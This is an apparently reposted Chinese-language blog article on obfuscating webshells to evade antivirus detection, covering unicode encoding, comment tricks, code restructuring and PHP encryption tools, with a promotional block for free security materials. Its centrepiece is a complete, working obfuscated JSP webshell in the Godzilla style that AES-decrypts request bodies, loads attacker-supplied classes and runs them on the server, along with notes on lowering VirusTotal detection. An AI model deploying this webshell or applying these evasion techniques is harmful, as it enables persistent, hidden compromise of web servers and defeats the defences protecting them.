1、簡(jiǎn)介
為了避免被殺軟檢測(cè)到,黑客們會(huì)對(duì)Webshell進(jìn)行混淆免殺。本文將介紹一些Webshell混淆免殺的思路,幫助安全人員更好地防范Webshell攻擊。靜態(tài)免殺是指通過對(duì)惡意軟件進(jìn)行混淆、加密或其他技術(shù)手段,使其在靜態(tài)分析階段難以被殺毒軟件或安全防護(hù)產(chǎn)品所檢測(cè)出來的方法。靜態(tài)免殺的目的是為了規(guī)避殺毒軟件的檢測(cè)機(jī)制,使惡意軟件能夠在目標(biāo)系統(tǒng)上長(zhǎng)時(shí)間地存活和執(zhí)行。也就是說讓webshell盡量和原本的代碼不一致。
2、混淆字符
混淆字符是最基本的混淆webshell手段之一,混淆字符集可以使得殺毒軟件無法檢測(cè)到其原有的代碼特征。具體實(shí)現(xiàn)就是將webshell的原本的字符編碼成另外的字符。這里以哥斯拉的jspwebshell示例。因?yàn)閖ava是默認(rèn)支持unicode編碼的。
Java代碼示例:
然后可以上傳vt查殺可以看到還是會(huì)被挺多殺軟識(shí)別的。
現(xiàn)在可以通過給個(gè)提到的編碼進(jìn)行替換原有的關(guān)鍵字,再次上傳vt可以發(fā)現(xiàn)少報(bào)毒了幾個(gè)殺軟。當(dāng)然這個(gè)只是最簡(jiǎn)單的方法而已,只是證明能夠通過一些字符編碼使得特征不那么明顯,實(shí)戰(zhàn)中并不能完全靠字符編碼繞過殺軟,字符編碼主要在實(shí)際混淆webshell中只能夠起到一個(gè)輔助作用。
3、利用注釋
利用注釋這種方法是目前較為常用的方法之一,其利用的是部分殺軟不識(shí)別webshell中的注釋的特性,比如殺軟匹配的規(guī)則是eval()這個(gè)函數(shù),那么我們就可以利用注釋符號(hào)將原本的代碼修改成eval/*xxxxx*/()這種寫法去進(jìn)行繞過,這使得殺軟的規(guī)則匹配失敗的同時(shí)原本的代碼還能夠正常運(yùn)行。
Java示例:
然后這邊是給原本的webshell加上注釋之后,丟到vt上的查殺效果。
值得注意的是,現(xiàn)在大部分殺軟會(huì)匹配程序注釋規(guī)則,但是并不意味著我們無法使用注釋符號(hào)去進(jìn)行繞過。比如殺軟會(huì)匹配出/*注釋內(nèi)容...*/然后選擇性無視注釋內(nèi)部的東西。那么我們就可以使用Strings = "/*"; code...; String ss = "*/";code...就是webshell的一行正常代碼。這樣殺軟可能會(huì)把兩個(gè)字符串/* */中間的值認(rèn)為是注釋內(nèi)容從而匹配惡意代碼失敗。
【----幫助網(wǎng)安學(xué)習(xí),以下所有學(xué)習(xí)資料免費(fèi)領(lǐng)!加vx:yj009991,備注 “博客園” 獲?。 ?/p>
?、?網(wǎng)安學(xué)習(xí)成長(zhǎng)路徑思維導(dǎo)圖
② 60+網(wǎng)安經(jīng)典常用工具包
?、?100+SRC漏洞分析報(bào)告
④ 150+網(wǎng)安攻防實(shí)戰(zhàn)技術(shù)電子書
?、?最權(quán)威CISSP 認(rèn)證考試指南+題庫(kù)
?、?超1800頁(yè)CTF實(shí)戰(zhàn)技巧手冊(cè)
?、?最新網(wǎng)安大廠面試題合集(含答案)
?、?APP客戶端安全檢測(cè)指南(安卓+IOS)
4、改變代碼特征
改變代碼特征是指修改代碼原本的寫法但是不改變其功能,因?yàn)榇蟛糠謿④涭o態(tài)查殺webshell會(huì)有一個(gè)語(yǔ)句的特征,比如單純的php一句話木馬eval($_POST['x']);很容易就會(huì)被殺軟查殺,但是服務(wù)器上運(yùn)行的php代碼有一些文件含有eval,然后其參數(shù)是根據(jù)一系列的函數(shù)調(diào)用進(jìn)行傳遞的就不會(huì)被殺軟注意到。這也就是最容易繞過殺軟的一個(gè)特性,可以改變程序的代碼特征用于繞過殺軟。具體就是比如可以用函數(shù)封裝webshell某段代碼,用三元表達(dá)式代替ifelse,用一些代替寫法比如java中的int類型1可以寫作0x1或者是10000-9999這種寫法代替,用for循環(huán)代替while循環(huán),也可以是添加任意無用垃圾代碼等。
部分代碼截圖:
可以看到免殺效果其實(shí)還不是很理想,因?yàn)閷?shí)際過程中的免殺并不是單一的方法就能夠完成的,往往都需要很多種方法混合使用效果才會(huì)達(dá)到令人滿意的地步。以下代碼是以上三種方法混合使用混淆的。
全部代碼:
<%@ page import="java.io.InputStream" %>
<%@ page import="javax.crypto.spec.SecretKeySpec" %>
<%@ page import="javax.crypto.Cipher" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.io.IOException" %>
?
<%! String xc = "\u0033\u0063\u0036\u0065\u0030"/*\u3333*/ +/*\u3333*/"\u0062\u0038\u0061\u0039\u0063\u0031\u0035\u0032\u0032\u0034\u0061";
?
?
? ?class Register extends ClassLoader {
? ? ? ?public Register(ClassLoader username) {
? ? ? ? ? ?super(username);
? ? ? }
?
? ? ? ?public Class Query/*\u3333*/(byte[] password) {
? ? ? ? ? ?int len = password.length;
? ? ? ? ? ?String s1 = "/*";
? ? ? ? ? ?Class<?> aClass = super.defineClass(password, 0XAFFFF - 0XAFFFF, len);
? ? ? ? ? ?String s2 = "*/";
? ? ? ? ? ?return aClass;
? ? ? }
? }
?
? ?public byte[] x(byte[] s, boolean m) {
? ? ? ?// 這行代碼換了個(gè)順序
? ? ? ?byte[] bs = xc.getBytes();
?
? ? ? ?try {
? ? ? ? ? ?String sss = "/*";
? ? ? ? ? ?String decode = "\u0041\u0045\u0053";
? ? ? ? ? ?Cipher c = Cipher.getInstance(decode);
? ? ? ? ? ?String ccc = "*/";
?
? ? ? ? ? ?// if代替了原本的三元表達(dá)式
? ? ? ? ? ?int flag = 0xAFFFF;
? ? ? ? ? ?if (m) {
? ? ? ? ? ? ? ?flag = 1;
? ? ? ? ? } else {
? ? ? ? ? ? ? ?flag = 2;
? ? ? ? ? }
? ? ? ? ? ?String acaw = "/*";
? ? ? ? ? ?c.init(flag, new SecretKeySpec(bs, decode));
? ? ? ? ? ?String ANANAWU = "*/";
?
? ? ? ? ? ?String string1 = "/*";
? ? ? ? ? ?byte[] bytes = c.doFinal(s);
? ? ? ? ? ?String string12 = "*/";
? ? ? ? ? ?return bytes;
?
? ? ? } catch (Exception e) {
? ? ? ? ? ?return null;
? ? ? }
? }
?
? ?public void run(Object o, ByteArrayOutputStream bos, PageContext pageContext) {
? ? ? ?// 添加注釋
? ? ? ?/*o.equls(null)*/
? ? ? ?int x = 10;
? ? ? ?int y = 20;
?
? ? ? ?// 這里有一些毫無意義的操作
? ? ? ?x = (x + y) * 2;
? ? ? ?y = x - y;
? ? ? ?String meaninglessString = "Hello, this is a meaningless string.";
?
? ? ? ?if (x > y) {
? ? ? ? ? ?x = x * 2;
? ? ? } else {
? ? ? ? ? ?y = y * 2;
? ? ? }
? ? ? ?String sss = "/*";
? ? ? ?o./*o.equls(null)*/equals/*o.equls(null)*/(bos);
? ? ? ?String ccc = "*/";
? ? ? ?o./*o.equls(null)*/equals/*o.equls(null)*/(pageContext);
? ? ? ?String ac = "http://";
? ? ? ?o.toString/*o.equls(null)*/();
? }
?
?
? ?public void run2(byte[] data_bytes, HttpSession session) {
? ? ? ?String py = "\u0070\u0061\u0079" +/*as*/"" + "\u006c\u006f\u0061\u0064";
? ? ? ?Register REG = new Register(this.getClass().getClassLoader());
? ? ? ?Class cs = REG.Query(data_bytes);
? ? ? ?session.setAttribute(py, cs);
? }
?
? ?public Object os_return(HttpSession session) {
? ? ? ?String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";
? ? ? ?return ?session.getAttribute(py);
? }
?
? ?public void pull(ByteArrayOutputStream bos, OutputStream os) throws IOException {
? ? ? ?byte[] x = x(bos.toByteArray(), true);
? ? ? ?os.write(x);
? }
?
? ?public void setAttribute(HttpServletRequest request, String key, Object value) {
? ? ? ?request.setAttribute(key, value);
? }
?
? ?public ByteArrayOutputStream getBos() {
? ? ? ?ByteArrayOutputStream arrOut = null;
? ? ? ?arrOut = new ByteArrayOutputStream();
? ? ? ?return arrOut;
? }
%><%
? ?try {
? ? ? ?String header = request.getHeader/*o.equls(null)*/("\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u004c\u0065\u006e\u0067\u0074\u0068");
? ? ? ?String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";
? ? ? ?int length = Integer.valueOf/*o.equls(null)*/(header);
?
?
? ? ? ?byte[] data_bytes = new byte[/*o.equls(null)*/length];
? ? ? ?InputStream is = request.getInputStream();
? ? ? ?// for循環(huán)替代了while循環(huán)
? ? ? ?for (int _num = 0; _num < data_bytes./*o.equls(null)*/length; _num += is.read(data_bytes, _num, data_bytes.length));
?
? ? ? ?// 原本的false變成了 !true
? ? ? ?data_bytes = x/*o.equls(null)*/(/*o.equls(null)*/data_bytes, /*o.equls(null)*/!true);
?
? ? ? ?OutputStream os = response.getOutputStream();
? ? ? ?ByteArrayOutputStream bos = getBos();
?
? ? ? ?boolean flag = session.getAttribute(py) == null;
? ? ? ?if (flag) {
? ? ? ? ? ?run2(data_bytes, session);
? ? ? } else {
? ? ? ? ? ?setAttribute(request, "\u0070\u0061\u0072\u0061\u006d" +/*aaaa*/""/*SSS*/ + "\u0065\u0074\u0065\u0072\u0073", data_bytes);
? ? ? ? ? ?String s = "/*";Class cs = (Class) os_return(session);String c = "*/";
? ? ? ? ? ?Object f = (cs).newInstance();
? ? ? ? ? ?run(f, bos, pageContext);
? ? ? ? ? ?/* 垃圾代碼 */
? ? ? ? ? ?int a = 10;
? ? ? ? ? ?int b = 20;
?
? ? ? ? ? ?for (int i = 0; i < 5; i++) {
? ? ? ? ? ? ? ?a += b;
? ? ? ? ? ? ? ?b -= a;
? ? ? ? ? }
?
? ? ? ? ? ?String meaninglessString = "This is a meaningless string.";
? ? ? ? ? ?int[] numbers = {1, 2, 3, 4, 5};
? ? ? ? ? ?for (int num : numbers) {
? ? ? ? ? ? ? ?if (num % 2 == 0) {
? ? ? ? ? ? ? ? ? ?// 不執(zhí)行任何操作
? ? ? ? ? ? ? } else {
? ? ? ? ? ? ? ? ? ?// 不執(zhí)行任何操作
? ? ? ? ? ? ? }
? ? ? ? ? }
? ? ? ? ? ?/* 垃圾代碼 */
?
? ? ? ? ? ?pull(bos, os);
? ? ? }
? } catch (Exception e) {
? }
%>
?
免殺效果:
Ps:以上代碼僅僅提供一個(gè)思路,實(shí)際過程中并不用如此多代碼量,僅需要bypass掉目標(biāo)服務(wù)器上的殺軟即可。
5、利用代碼加密工具
上面介紹了一些java代碼的混淆,php的混淆通常來說更加簡(jiǎn)單,因?yàn)閜hp這門語(yǔ)言特性,使得很多廠商都會(huì)使用php代碼加密來保護(hù)代碼使得代碼不會(huì)被別人輕易破解/篡改。我們可以利用這些加密來實(shí)現(xiàn)免殺的功能。
比如隨便找一些php在線混淆哥斯拉的webshell
鏈接也是沒有問題的
雖然vt查看免殺效果有些拉跨但是我們可以加密多次用來繞過。
經(jīng)過3次混淆的phpwebshell,反正我是認(rèn)不出來了。
類似aspx的混淆以及java其實(shí)都可以使用代碼混淆的方法去繞過,只需要搜索一下混淆器即可。
6、總結(jié)
文本主要分享了一下自己的一些webshell免殺思路。其實(shí)webshell免殺的思路無非就是修改webshell的特征,不管用手段如何最終達(dá)到的肯定是這樣的一個(gè)目的。當(dāng)然個(gè)人覺得是多種手法混用效果是最好的,基本上手動(dòng)混淆的webshell時(shí)效性也比用工具混淆的webshell要長(zhǎng)一些。
更多網(wǎng)安技能的在線實(shí)操練習(xí),請(qǐng)點(diǎn)擊這里>>文章來源:http://www.zghlxwxcb.cn/news/detail-747868.html
??文章來源地址http://www.zghlxwxcb.cn/news/detail-747868.html
到了這里,關(guān)于Webshell混淆免殺的一些思路的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!